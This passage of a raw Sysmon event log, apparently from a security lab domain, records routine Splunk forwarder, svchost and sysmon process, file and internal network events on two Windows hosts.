Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71A7-613B-DB04-00000000F101}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015644Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.736{625C326B-71A7-613B-DB04-00000000F101}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015643Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.298{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80CD90D792F8FDE81CA5D9DE3395E981,SHA256=E5CB4A906F33089D413526F11153F935078B646882B8C34FA52A668111727D86,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:29.013{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59437-false10.0.1.12-8089- 354300x800000000000000048021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:28.388{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59436-false10.0.1.12-8000- 23542300x800000000000000048025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:32.843{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08ECE96AB3CCDA683775D5F6676D3AAA,SHA256=A3EFA7DA8E5C609125B6D3CD5630CAD6655DD4E0D42C193A9A9139214795B57B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015686Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71A8-613B-DD04-00000000F101}832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015685Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015684Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015683Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015682Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015681Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015680Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015679Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015678Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015677Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015676Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-71A8-613B-DD04-00000000F101}832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015675Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.907{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71A8-613B-DD04-00000000F101}832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015674Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.908{625C326B-71A8-613B-DD04-00000000F101}832C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015673Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F9CD87F1E33B162D466E5E90F9028BA2,SHA256=E038D83B18BF17AAB2311423A8CB7B8411B40948ED4D98C1AAF268DB7BBCF478,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015672Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2DE1E244C1A978B32F5EF21986182996,SHA256=FC8F4864AED67605A198B4C9A6C49D894954FD837AFB00226C23C858CB01A12C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015671Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.423{625C326B-71A8-613B-DC04-00000000F101}1116988C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015670Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.360{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6EF33609584FFA7D1BA95521B77AEA29,SHA256=FC8CF938ACFDE42328B6367FE85A5F4922425C4DACAA2296282E937F536F4954,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:32.031{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=BBC82E419C1AF57AB7D1350A67460534,SHA256=311294760C20B7424AAD400AD913F1E4B551DB74E88E62D76CCBB501CAAB02CB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015669Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71A8-613B-DC04-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015668Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015667Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015666Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015665Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015664Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015663Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:32.235{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 